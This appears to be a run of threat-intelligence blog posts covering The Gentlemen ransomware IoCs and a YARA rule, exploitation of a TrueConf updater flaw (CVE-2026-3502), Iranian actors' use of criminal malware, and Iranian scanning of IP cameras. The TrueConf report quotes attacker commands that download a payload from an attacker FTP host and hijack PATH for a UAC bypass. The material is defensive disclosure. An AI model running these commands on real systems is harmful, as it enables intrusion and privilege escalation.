Overall, The Gentlemen exemplifies how contemporary RaaS programs blend productized ransomware with professional intrusion teams. A small, well‑organized set of operators, supported by curated tooling, structured communication channels, and up‑to‑date exploit knowledge, can generate substantial impact in a short time. For defenders, this underscores the need to harden internet‑facing services, close known misconfigurations and relay paths, and monitor for the specific tools, workflows, and TOX‑based communication patterns tied to this group.

Indicators of Compromise

Description	Value
The Gentlemen Windows	025fc0976c548fb5a880c83ea3eb21a5f23c5d53c4e51e862bb893c11adf712a 1334f0189a8e6dbc48456fa4b482c5726ab7609f7fa652fcc4c1a96f2334436f 1af419b36a5edefef387409e2b3248c9223f7dc49a4f7b15ea095d371c3a70b2 22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67 24ac3588fb8cfbff63b7fdfcbc7dec1f3c60e54e6f949dd69d68e89e0c89d966 2ed9494e9b7b68415b4eb151c922c82c0191294d0aa443dd2cb5133e6bfe3d5d 3ab9575225e00a83a4ac2b534da5a710bdcf6eb72884944c437b5fbe5c5c9235 3c2182cb0bc7528829ef03f1b1745a92bcc47d917eb8870862488f21fdf1a6d6 48d9b2ce4fcd6854a3164ce395d7140014e0b58b77680623f3e4ca22d3a6e7fd 4a175eed927c0a477eafb8aa35a93c191748acaa78ac7aecd8ea3c4cd868887c 51b9f246d6da85631131fcd1fabf0a67937d4bdde33625a44f7ee6a3a7baebd2 62c2c24937d67fdeb43f2c9690ab10e8bb90713af46945048db9a94a465ffcb8 6a3ab9e984a759d55af4e84487d1fc44683065cc9a1089d5aa4ad1c0e4e84a63 860a6177b055a2f5aa61470d17ec3c69da24f1cdf0a782237055cba431158923 87d25d0e5880b3b5cd30106853cbfc6ef1ad38966b30d9bd5b99df46098e546c 8aa0cb69ca2777001e0f4ba0eaab0841592710e4cc5ccd6b0b526d78bbd8bfba 8c87134c1b45e990e9568f0a3899b0076f94be16d3c40fa824ac1e6c6ee892db 91415e0b9fe4e7cbe43ec0558a7adf89423de30d22b00b985c2e4b97e75076b1 994d6d1edb57f945f4284cc0163ec998861c7496d85f6d45c08657c9727186e3 9f61ff4deb8afced8b1ecdc8787a134c63bde632b18293fbfc94a91749e3e454 a7a19cab7aab606f833fa8225bc94ec9570a6666660b02cc41a63fe39ea8b0ad b67958afc982cafbe1c3f114b444d7f4c91a88a3e7a86f89ab8795ac2110d1e6 c46b5a18ab3fb5fd1c5c8288a41c75bf0170c10b5e829af89370a12c86dd10f8 c7f7b5a6e7d93221344e6368c7ab4abf93e162f7567e1a7bcb8786cb8a183a73 dce2e5cc00eff2493f8ced546dc51f9d5ef78c5ee56805906ec642dfa77a1c70 dfe696ff713318c53fb17731bd4a6585a02c085b590149b19847990b324a0be6 ec368ae0b4369b6ef0da244774995c819c63cffb7fd2132379963b9c1640ccd2 efaf8e7422ffd09c7f03f1a5b4e5c2cc32b05334c18d1ccb9673667f8f43108f f736be55193c77af346dbe905e25f6a1dee3ec1aedca8989ad2088e4f6576b12 fc75ed2159e0c8274076e46a37671cfb8d677af9f586224da1713df89490a958
The Gentlemen Linux	1eece1e1ba4b96e6c784729f0608ad2939cfb67bc4236dfababbe1d09268960c 5dc607c8990841139768884b1b43e1403496d5a458788a1937be139594f01dca 788ba200f776a188c248d6c2029f00b5d34be45d4444f7cb89ffe838c39b8b19

Yara Rule

rule thegentlemen_ransomware
{
    meta:
        author = "@Tera0017/Check Point Research"
        description = "The Gentlemen Ransomware written in GO."
    strings:
        $string1 = "Silent mode (don't rename files)" ascii
        $string2 = "Encrypt only mapped and UNC network shares" ascii
        $string3 = "README-GENTLEMEN.txt" ascii
        $string4 = "gentlemen.bmp" ascii
        $string5 = "gentlemen_system" ascii
        $string6 = "[+] Encryption started. Going background..." ascii
        $string7 = "[+] FULL Encryption started" ascii
    condition:
        uint16(0) == 0x5A4D and 4 of them
}

The post Thus Spoke…The Gentlemen appeared first on Check Point Research.

Key Points

• Check Point Research identified a zero-day vulnerability in the TrueConf client application, tracked as CVE-2026-3502, with a CVSS score of 7.8. The flaw stems from the abuse of TrueConf’s updater validation mechanism, allowing an attacker who controls the on-premises TrueConf server to distribute and execute arbitrary files across all connected endpoints.
• This vulnerability has been exploited in-the-wild as part of a targeted campaign we call “TrueChaos” against government entities in Southeast Asia, where the threat actor abused the TrueConf update mechanism to deploy the Havoc payload to vulnerable machines.
• Based on the observed TTPs, command and control infrastructure and victimology, we assess with moderate confidence that this activity is associated with a Chinese-nexus threat actor.
• Check Point Research responsibly disclosed this vulnerability to TrueConf. Following our notification, the vendor developed a fix, which is included in the TrueConf Windows client starting with version 8.5.3, which was released in March 2026. The current version of the desktop apps is 8.5.2.

Introduction

At the beginning of 2026, Check Point Research observed a series of targeted attacks against government entities in Southeast Asia carried out via a legitimate TrueConf software installed in the targets’ environment. The investigation led to the discovery of a zero-day vulnerability in the TrueConf client, tracked as CVE-2026-3502 with a CVSS score of 7.8. The flaw affects the application’s updater validation mechanism and allows an attacker controlling an on-premises TrueConf server to distribute and execute arbitrary files across connected endpoints.

TrueConf is a video conferencing platform that supports both on-premises and cloud deployments and is used across multiple regions, most prominently in Russia, as well as in East Asia, Europe, and the Americas. Serving more than 100,000 organisations globally, their global customers range from key governments and defense departments and critical infrastructure industries to significant businesses such as banks, power and TV stations. In enterprise environments, its on-premises architecture creates a trusted relationship between the central server and connected clients, especially through the platform’s update mechanism.

Basically, TrueConf acts as an on-premises video conferencing solution that operates entirely within a private local network (LAN) without requiring an internet connection. It is primarily used by government, military, and critical infrastructure sectors to ensure absolute data privacy and communication autonomy in secure or remote environments. In locations with poor or no internet connectivity, or during natural disasters when traditional networks are down, it facilitates essential coordination. By hosting the server on internal hardware, all audio, video, and chat traffic remains strictly contained on-site, with offline activation available for fully air-gapped systems.

In this particular case, that trust was abused to deliver malware due to improper validation in the update process. In the observed in-the-wild activity, operation “TrueChaos”, the threat actor used the trusted update channel of a centrally managed on-premises TrueConf server to distribute malicious updates to multiple connected government agencies in a South Eastern country.

The victimology and regional focus of the campaign suggest an espionage-motivated operation. In combination with the observed TTPs and command-and-control infrastructure, these indicators point with moderate confidence to a Chinese-nexus threat actor.

About TrueConf

TrueConf is a video conferencing platform that supports both on-premises and cloud deployments. Although it is most widely used in Russia, it also has a notable presence across parts of East Asia, Europe, and the Americas. To better understand the potential scope of the vulnerability, we reviewed internet exposed TrueConf servers to assess the platform’s geographic distribution and the possible reach of the attack. This view is necessarily incomplete, as many TrueConf deployments may operate entirely in on-premises environments and remain inaccessible from the public internet.

CVE-2026-3502 Root Cause Analysis

When the TrueConf client starts, it checks the connected on-premises server for available updates. If the server has a newer client version than the one installed, the application prompts the user to download the update from https://{trueconf_server}/downlods/trueconf_client.exe, which maps to the file stored on the server under C:\Program Files\TrueConf Server\ClientInstFiles\.

TrueConf client update starts when the client detects a version mismatch in favor of the TrueConf on-premises server, the client alerts the user that a newer version is available and offers to download it.

The vulnerability stems from the lack of integrity and authenticity checks in this update flow. An attacker who gains control of the on-premises TrueConf server can replace the expected update package with an arbitrary executable, presented as the current application version, and distribute it to all connected clients. Because the client trusts the server-provided update without proper validation, the malicious file can be delivered and executed under the guise of a legitimate TrueConf update.

In-The-Wild Exploitation

The infections began when TrueConf client application launched, probably by a link sent to the target from the attacker. This link launched the already installed TrueConf client and presented an update prompt claiming that a newer version was available.

Prior to the victim’s interaction, the attacker had already replaced the update package on the TrueConf on-premises server with a weaponized version, ensuring that the client retrieved a malicious file through the normal update process.

The compromised TrueConf on-premises server was operated by the governmental IT department and served as a video conferencing platform for dozens of government entities across the country, which were all supplied with the same malicious update.

Analysis of the downloaded package showed that it was a weaponized client update. The installation was built by Inno Setup. It would successfully upgrade the client version from 8.5.1 to the current at the time 8.5.2. Alongside the legitimate TrueConf installation components, the package dropped a benign poweriso.exe executable and a malicious 7z-x64.dll file to the path c:\programdata\poweriso\, which was then loaded through DLL side-loading.

Using the malicious 7z-x64.dll implant, the attacker performed a series of hands-on-keyboard actions focused on reconnaissance, environment preparation, persistence, and the retrieval of additional payloads.

• Initial reconnaissance included commands such as:
  • tasklist > cache
  • tracert 8.8.8.8 -h 5
• Downloaded from the FTP server an additional loader isciexe.dll, and extract it to the %temp% directory:
  • curl -u ftpuser:<redacted> ftp://47.237.15[.]197/update.7z -o c:\program files\winrar\winrar.exe x update.7z -p <redacted>
• The attacker then modified the current user’s PATH variable, in order to preform UAC bypass by using the Microsoft iSCSI Initiator Control Panel tool:
  • reg add "hkcu\environment" /v path /t REG_SZ /d "C:\users\<redacted>\appdata\local\temp" /f c:\windows\system32\cmd.exe c:\windows\syswow64\iscsicpl.exe

iscsicpl.exe is a legitimate Windows binary that can be abused for UAC bypass because its 32-bit SysWOW64 version is auto-elevated and is vulnerable to DLL search-order hijacking for iscsiexe.dll. By placing a malicious iscsiexe.dll in a user-controlled location referenced through the user’s %PATH%, an attacker can cause Windows to resolve and load that DLL in the context of the elevated iscsicpl.exe, resulting in privilege escalation without a UAC prompt.

The downloaded update.7z archive contained a legitimate 7z.exe binary alongside iscsiexe.dll, a component used by the attackers as part of the post-compromise workflow. Check Point Research also identified additional variants of the archive that included an encrypted 7z archive named rom.dat. At the time of analysis, the contents and purpose of rom.dat remained unclear.

The iscsiexe.dll component appears to be a simple, custom persistence and privilege escalation tool. Rather than serving as a full-featured backdoor, its role was limited to maintaining execution of winexec.exe, which is the renamed poweriso.exe binary dropped earlier in the infection chain.

Although Check Point Research did not recover the exact final-stage payload associated with the malicious 7z-x64.dll activity, it observed network communication to 47.237.15[.]197, an attacker-controlled server running Havoc C2 infrastructure, and also identified Havoc demon sample linked to actor C2 infrastructure. Based on this combined evidence, Check Point Research assesses with high confidence that the missing payload was a Havoc implant.

Havoc is an open-source post-exploitation framework intended for penetration testing and adversary emulation, but it has also been repeatedly abused by threat actors in real-world intrusions, including Chinese-nexus Amaranth Dragon activity recently documented by Check Point Research.

Attribution

Check Point Research assesses with moderate confidence that operation TrueChaos is associated with a Chinese-nexus threat actor. The assessment is based on a combination of factors, including TTPs consistent with Chinese-nexus operations such as DLL sideloading, the use of Alibaba Cloud and Tencent hosting for command-and-control infrastructure and the victimology aligns with Chinese nexus strategic interests.

We also observed that the same victim was targeted within the same time frame by ShadowPad malware framework. This may indicate overlap in operator tooling, shared access, or the presence of multiple China-aligned actors targeting the same organization in parallel.

Conclusion

The exploitation of CVE-2026-3502 did not require the attacker to compromise each endpoint individually. Instead, the attacker abused the trusted relationship between a central on-premises TrueConf server and its clients. By replacing a legitimate update with a malicious one, they turned the product’s normal update flow into a malware distribution channel across multiple connected government networks.

From a research perspective, this case shows how monitoring and analysing routine execution techniques can uncover far more significant threats. What initially appeared to be a signed binary used for DLL sideloading ultimately led to the discovery of a zero-day vulnerability in TrueConf’s update validation mechanism.

Hunting Recommendations

In order to identify whether you have been compromised, review the following indicators and hunting opportunities across the affected system: 

• Check whether trueconf_windows_update.exe is unsigned, as an unsigned update executable may indicate that the file is suspicious or has been tampered with.
• Treat the system as potentially infected if C:\ProgramData\PowerISO\poweriso.exe is present on disk, especially if this file is not expected in your environment.
• Treat the system as potentially infected if the registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Run\UpdateCheck points to C:\ProgramData\PowerISO\PowerISO.exe, as this indicates persistence through a user logon autorun entry.
• Treat the system as potentially infected if files such as %AppData%\Roaming\Adobe\update.7z, 7za.exe, iscsiexe.dll, or rom.dat are present, or if there is evidence that they were recently created and then deleted.
• Hunt for file creation activity in which trueconf_windows_update.tmp creates C:\ProgramData\PowerISO\poweriso.exe or 7z-x64.dll, as this behavior is consistent with the observed delivery chain.
• Hunt for poweriso.exe spawning commands through cmd.exe, particularly when the command line includes tools or utilities such as curl, winrar.exe, or netstat, since this may indicate download, extraction, or discovery activity.
• Hunt for the suspicious parent-child process chain trueconf.exe -> trueconf_windows_update.exe -> trueconf_windows_update.tmp -> any executable, as this sequence may reveal execution of the malicious payload.

Indicators of Compromise

trueconf_windows_update.exe – Malicious TrueConf client update
22e32bcf113326e366ac480b077067cf

iscsiexe.dll – Loader
9b435ad985b733b64a6d5f39080f4ae0

7z-x64.dll – Havoc implant
248a4d7d4c48478dcbeade8f7dba80b3

43.134.90[.]60 – Havoc C2
43.134.52[.]221 – Havoc C2
47.237.15[.]197 – Havoc C2

The post Operation TrueChaos: 0-Day Exploitation Against Southeast Asian Government Targets appeared first on Check Point Research.

Key Points

• Iran-linked actors are increasingly engaging with the cyber crime ecosystem. Their activity suggests a growing reliance on criminal tools, services, and operational models in support of state objectives.
• Iranian actors have long used cyber crime and hacktivism as cover for destructive activity, but the trend now suggests direct engagement with the criminal ecosystem.
• This dynamic appears most prominently among Ministry of Intelligence and Security (MOIS)-linked actors, particularly Void Manticore (a.k.a “Handala Hack”) and MuddyWater, where repeated overlaps with criminal tools, services, or clusters have been observed.
• Such engagement offers a dual advantage: it enhances operational capabilities through access to mature criminal tooling and resilient infrastructure, while complicating attribution and contributing to recurring confusion around Iranian threat activity.

Introduction

For years, Iranian intelligence services have operated through deniable criminal intermediaries in the physical world. A similar pattern is now becoming visible in cyber space, where state objectives are increasingly pursued through criminal tools, services, and operational models. Notably, this dynamic appears with growing frequency in activity associated with actors linked to the Ministry of Intelligence and Security (MOIS).

For a long time, Iranian actors sought to mask state activity behind the appearance of ordinary cyber crime, most often by posing as ransomware operators. The trend we are seeing now goes beyond imitation. Rather than simply adopting criminal and hacktivist personas to complicate attribution, some Iranian actors appear to be associating with the cyber criminal ecosystem itself, leveraging its malware, infrastructure, and affiliate-style mechanisms. This shift matters because it does more than improve deniability; it can also expand operational reach and enhance technical capability.

In this blog, we examine several cases that reflect this evolution, including Iranian-linked use of ransomware branding, commercial infostealers, and overlaps with criminal malware clusters. Taken together, these examples suggest that for some MOIS-associated actors, cyber crime is no longer just a cover story, but an operational resource.

Background – MOIS and Criminal Activity

Long before concern shifted to the digital arena, some of the clearest signs of cooperation between Iran’s intelligence services and criminal actors appeared in plots involving surveillance, kidnappings, shootings, and assassination attempts. In those cases, the value of criminal networks was straightforward: they gave Tehran reach, deniability, and access to people willing to carry out violence at arm’s length.

According to the U.S. Treasury, one of the clearest examples involved the network led by narcotics trafficker Naji Ibrahim Sharifi-Zindashti, which Treasury said operated at the behest of MOIS and targeted dissidents and opposition activists. The FBI has similarly said that an MOIS directorate operated the Zindashti criminal network and its associates against Iranian dissidents in the United States.

Sweden has described a similar pattern. According to Sweden’s Security Service, the Iranian regime has used criminal networks in Sweden to carry out violent acts against states, groups, and individuals it sees as threats; Swedish officials later linked that concern to attacks aimed at Israeli and Jewish targets, including incidents near Israel’s embassy in Stockholm.

Recent activity we have analyzed and associate with MOIS-affiliated cyber actors suggests that the same logic is now being applied in the cyber domain. The emphasis is not only on imitating cyber criminal behavior, but on associating with the cyber criminal ecosystem itself: drawing on its infrastructure, access brokers, marketplaces, and affiliate-style relationships.

Void Manticore (Handala) and Rhadamanthys

Void Manticore, an Iranian threat actor linked to several hack-and-leak personas, is one of the most active groups pursuing strategic objectives through cyber operations. It has leveraged “hacktivistic” personas such as Homeland Justice in attacks against Albania and Handala in operations targeting Israel. While the group is most commonly associated with “hack and leak” operations and disruptive attacks, particularly wiper operations, the emergence of its Handala persona also revealed the use of a commercial infostealer sold on darknet forums: Rhadamanthys.

Rhadamanthys is a widely used infostealer employed by a range of threat actors, including both financially motivated groups and state-sponsored operators. It has built a strong reputation due to its complex architecture, active development, and frequent updates. Handala used Rhadamanthys on several occasions, pairing it with one of its custom wipers in phishing lures aimed at Israeli targets, most dominantly impersonating F5 updates.

MuddyWater – Tsundere Botnet and the Castle Loader Connection

MuddyWater, a threat actor that U.S. authorities have linked to Iran’s MOIS, has conducted cyber espionage and other malicious operations focused on the Middle East for years. According to CISA, MuddyWater is a subordinate element within MOIS and has carried out broad campaigns in support of Iranian intelligence objectives, targeting government and private-sector organizations across sectors including telecommunications, defense, and energy.

Recent reports detailing the activity of MuddyWater link its operations to several cyber crime clusters of activity. This appears to work in the actors’ favor: the use of such tools has created significant confusion, leading to misattribution and flawed pivoting, and clustering together activities that are not necessarily related. This demonstrates that the use of criminal software can be effective for obfuscation, and highlights the need for extreme caution when analyzing overlapping clusters.

To address this, we attempted to bring structure to the available evidence, to the best of our ability, and identify which activity is truly associated with MuddyWater.

Tsundere Botnet (a.k.a DinDoor)

The Tsundere Botnet was first uncovered in late 2025 and was later linked to MuddyWater. Large parts of its activity rely on Node.js and JavaScript scripts to execute code on compromised machines. In several instances observed in the wild, when the Node.js engine is detected, the botnet shifts to an alternative execution method using Deno, a runtime for JavaScript and TypeScript. Since Deno-based execution had not previously been associated with Tsundere, researchers linking this activity to MuddyWater designated this variant as DinDoor.

Given that two separate sources linked Tsundere to MuddyWater, one via a VPS and the other through vendor telemetry, it is likely that MuddyWater uses the botnet as part of its operations. Another overlap between DinDoor-related activity and known MuddyWater tradecraft is the use of rclone to access a Wasabi server, which traces back to an IP address previously associated with MuddyWater (18.223.24[.]218, linked to eb5e96e05129e5691f9677be4e396c88).

Castle Loader Connection (a.k.a FakeSet)

Another malware family recently linked to MuddyWater is FakeSet, which, according to our analysis, is a downloader used in recent infection chains delivering CastleLoader. CastleLoader operates as a Malware-as-a-Service offering used by multiple affiliates. Based on our understanding, the reported link between CastleLoader and MuddyWater stems from the use of a set of code-signing certificates, specifically under the Common Names “Amy Cherne” and “Donald Gay”. Certificates with these common names were also used to sign MuddyWater malware (“StageComp”), Tsundere Deno malware (“DinDoor”), and CastleLoader (“FakeSet”) variants.

In our assessment, this does not necessarily indicate that MuddyWater is a CastleLoader affiliate; rather, it suggests that both may have obtained certificates from the same source.

Iranian Qilin Affiliates

In October 2025, Israeli Shamir Medical Center was hit by a major cyber attack that was initially described as a ransomware incident. The attackers claimed to have stolen a large amount of data and demanded a ransom in exchange for not publishing it. Israeli officials said the attack did not affect hospital operations and patient care was not significantly disrupted. Still, some information appears to have been leaked, including limited email correspondence and certain medical data.

At first, the attack was presented as a ransomware incident linked to the Qilin group, but later Israeli assessments pointed much more directly to Iranian actors as the real force behind it. Qilin is known as a ransomware-as-a-service (RaaS) operation, meaning it provides ransomware infrastructure and tooling to outside partners or “affiliates” who actually carry out intrusions. In this case, the emerging picture was that the attackers were likely Iranian-affiliated operators working through the cyber criminal ecosystem, using a criminal ransomware brand and methods associated with the broader extortion market, while serving a strategic Iranian objective.

This attack did not occur in isolation. It appears to be part of a broader, sustained campaign by MOIS and Hezbollah to target Israeli hospitals, a pattern that has been evident since late 2023. The use of Qilin, and participation in its affiliate program, likely serves not only as a layer of cover and plausible deniability, but also as a meaningful operational enabler, especially as earlier attacks appear to have heightened security measures and monitoring by Israeli authorities.

Conclusion

The cases examined in this blog show that, for some Iranian actors, cyber crime is no longer just a cover for state-directed activity. Across these examples, the pattern is not limited to the appearance of criminal behavior, but includes the use of criminal malware, ransomware branding, and affiliate-style ecosystems in support of strategic objectives. This reflects a clear shift from simply imitating cyber criminals to actively leveraging the cyber crime ecosystem.

This shift matters because it delivers clear operational benefits. For MOIS-linked actors in particular, engagement with criminal tools and services enhances capabilities while complicating attribution and fueling confusion around Iranian activity. Taken together, the cases discussed here show that cyber crime has become not just camouflage, but a practical operational resource.

Indicators of Compromise

Handala Rhadmanthys Variants

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Malware samples signed with suspicious certificates

sha256	Certificate Common Name	Certificate Thumbprint	Certificate Serial Number	Malware Family
077ab28d66abdafad9f5411e18d26e87fe43da1410ee8fe846bd721ab0cb52de	Amy Cherne	0902d7915a19975817ec1ccb0f2f6714aed19638	330007f1068f41bf0f662a03b500000007f106	FakeSet / CastleLoader
ddceade244c636435f2444cd4c4d3dc161981f3af1f622c03442747ecef50888	Amy Cherne	0902d7915a19975817ec1ccb0f2f6714aed19638	330007f1068f41bf0f662a03b500000007f106	FakeSet / CastleLoader
2b7d8a519f44d3105e9fde2770c75efb933994c658855dca7d48c8b4897f81e6	Amy Cherne	2087bb914327e937ea6e77fe6c832576338c2af8	330006df515a14fe3748416fe200000006df51	FakeSet / CastleLoader
64cf334716f15da1db7981fad6c81a640d94aa1d65391ef879f4b7b6edf6e7f1	Amy Cherne	21a435ecaa7b86efbec7f6fb61fcda3da686125c	330006e75231f49437ae56778a00000006e752	FakeSet / CastleLoader
74db1f653da6de134bdc526412a517a30b6856de9c3e5d0c742cb5fe9959ad0d	Amy Cherne	389b12da259a23fa4559eb1d97198120f2a722fe	330007d5443a7d25208ec5feb100000007d544	FakeSet / CastleLoader
94f05495eb1b2ebe592481e01d3900615040aa02bd1807b705a50e45d7c53444	Amy Cherne	389b12da259a23fa4559eb1d97198120f2a722fe	330007d5443a7d25208ec5feb100000007d544	FakeSet / CastleLoader
4aef998e3b3f6ca21c78ed71732c9d2bdcc8a4e0284f51d7462c79d446fbc7be	Amy Cherne	579a4584a6eef0a2453841453221d0fb25c08c89	33000700e919066fd9db11bac70000000700e9	FakeSet / CastleLoader
a4bd1371fe644d7e6898045cc8e7b5e1562bdfd0e4871d46034e29a22dec6377	Amy Cherne	d920ae0f8ea8b5bd42de49e01c6bbd4c2c6d0847	330007ebfbe75a64b52aaf4cb700000007ebfb	FakeSet / CastleLoader
64263640a6fdeb2388bca2e9094a17065308cf8dcb0032454c0a71d9b78327eb	Donald Gay	f8444dfc740b94227ab9b2e757b8f8f1fa49362a	3300072b29c3bf8403a6c15be2000000072b29	FakeSet / CastleLoader
a8c380b57cb7c381ca6ba845bd7af7333f52ee4dc4e935e98b48bb81facad72b	Donald Gay	9dcb994ea2b8e6169b76a524fae7b2d2dcd1807d	33000725fea86dd19e8571b26c0000000725fe	FakeSet / CastleLoader
24857fe82f454719cd18bcbe19b0cfa5387bee1022008b7f5f3a8be9f05e4d14	Donald Gay	b674578d4bdb24cd58bf2dc884eaa658b7aa250c	3300079a51c7063e66053d229b000000079a51	StageComp
a92d28f1d32e3a9ab7c3691f8bfca8f7586bb0666adbba47eab3e1a8faf7ecc0	Donald Gay	b674578d4bdb24cd58bf2dc884eaa658b7aa250c	3300079a51c7063e66053d229b000000079a51	StageComp
2a09bbb3d1ddb729ea7591f197b5955453aa3769c6fb98a5ef60c6e4b7df23a5	Amy Cherne	551bdf646df8e9abe04483882650a8ffae43cb55	330006e15e43401dbd9416e20e00000006e15e	DinDoor / Tsundere Deno

The post Iranian MOIS Actors & the Cyber Crime Connection appeared first on Check Point Research.

Key Findings

• During the ongoing conflict, we identified intensified targeting of IP cameras from two manufacturers starting on February 28, originating from infrastructure we attribute to Iranian threat actors.
• The targeting extends across Israel, Qatar, Bahrain, Kuwait, the UAE, and Cyprus – countries that have also experienced significant missile activity linked to Iran. On March 1st, we additionally observed camera-targeting activity focused on specific areas in Lebanon.
• We also observed earlier, more targeted activity against cameras in Israel and Qatar on January 14–15. These dates surround with Iran’s temporary closure of its airspace, reportedly amid expectations of a potential U.S. strike.
• Taken together, these findings are consistent with the assessment that Iran, as part of its doctrine, leverages camera compromise for operational support and ongoing battle damage assessment (BDA) for missile operations, potentially in some cases prior to missile launches. As a result, tracking camera-targeting activity from specific, attributed infrastructures may serve as an early indicator of potential follow-on kinetic activity.

Introduction

As highlighted in the Cyber Security Report 2026, cyber operations have increasingly become an additional tool in interstate conflicts, used both to support military operations and to enable ongoing battle damage assessment (BDA). During the 12-day conflict between Israel and Iran in June 2025, the compromise of cameras was likely used to support BDA and/or target-correction efforts.

In the current Middle East conflict, Check Point Research has observed intensified targeting of cameras beginning in the first hours of hostilities, including a sharp increase in exploitation attempts against IP cameras not only in Israel but also across Gulf countries: specifically the UAE, Qatar, Bahrain, and Kuwait, as well as similar activity in Lebanon and Cyprus. This activity originated from multiple attack infrastructures that we attribute to several Iran-nexus threat actors.

Notably, we also identified earlier activity exhibiting similar patterns, dated January 14, coinciding with the peak of anti-regime protests in Iran, a period during which Iran anticipated potential action from the United States and Israel and temporarily closed its airspace.

Findings

Check Point Research (CPR) continuously tracks infrastructure used by Iran-nexus threat actors.

Starting February 28, we observed a spike in targeting of IP cameras in several countries in the Middle East including Israel, UAE, Qatar, Bahrain, Kuwait and Lebanon, while also similar activity occurred against Cyprus.

The attack infrastructure we track combines specific commercial VPN exit nodes (Mullvad, ProtonVPN, Surfshark, NordVPN) and virtual private servers (VPS), and is assessed to be employed by multiple Iran-nexus actors.

Scanning activity we observed targets cameras such as Hikvision and Dahua and aligns with attempts to identify exposure to the vulnerabilities listed below. No attempts to interact with other camera vendors were observed from this infrastructure.

The popular devices of Hikvision and Dahua are targeted with the following vulnerabilities:

CVE	Vulnerability
CVE-2017-7921	An improper authentication vulnerability in Hikvision IP camera firmware
CVE-2021-36260	A command injection vulnerability in the Hikvision web server component
CVE-2023-6895	An OS command injection vulnerability in Hikvision Intercom Broadcasting System
CVE-2025-34067	An unauthenticated remote code execution vulnerability in Hikvision Integrated Security Management Platform
CVE-2021-33044	An authentication bypass vulnerability in multiple Dahua products

Patches are available for all of the vulnerabilities listed above.

As a case study, we conducted a deep dive into two of the CVEs listed above – CVE-2021-33044 and CVE-2017-7921 – and examined exploitation attempts originating from operational infrastructure we attribute to Iran, observed since the beginning of the year.

Waves of activity against Israel:

The spikes in this activity are closely aligned with geopolitical events around the same time:

• January 14-15 – While internal anti-regime protests in Iran peaked, Iranian officials and state media portrayed the unrest as a foreign-backed plot by Iran’s adversaries, including the United States and Israel and also closed its airspace. At the same time we also observe a wave of scans of cameras in the Iraqi Kurdistan.
• January 24 – The U.S. Central Command (CENTCOM) commander visited Israel and met with the Israel Defense Forces’ chief of staff amid heightened tensions.
• Beginning of February – Iran’s leadership was increasingly worried about a possible U.S. strike; Iranian/IRGC-linked messaging warned a strike could trigger a wider regional war.

Waves of activity against Qatar:

Waves of activity against Bahrain:

Waves of activity against Kuwait:

Waves of activity against United Arab Emirates:

Waves of activity against Cyprus:

Waves of activity against Lebanon:

We observed similar targeting patterns during the 12-day war between Israel and Iran in June 2025, likely to support battle damage assessment (BDA) and/or targeting correction. One of the best-known cases occurred when Iran struck Israel’s Weizmann Institute of Science with a ballistic missile and had reportedly taken control of a street camera facing the building just prior to the hit

Recommendations for Defenders:

• Eliminate public exposure: remove direct WAN access to cameras/NVRs; place them behind VPN or a zero-trust access gateway; block inbound port-forwards.
• Enforce strong credentials: change default passwords, enforce unique credentials.
• Patch management: keep cameras/NVR firmware and management software updated – updates from the manufacturers are available; remove/replace end-of-life devices that no longer get security fixes.
• Network segmentation: isolate cameras on a dedicated VLAN with no lateral access to corporate/OT networks; tightly control outbound traffic (only to required update/cloud endpoints).
• Monitoring & detection: repeated login failures, unexpected remote logins; cameras initiating unusual outbound connections.

The post Interplay between Iranian Targeting of IP Cameras and Physical Warfare in the Middle East appeared first on Check Point Research.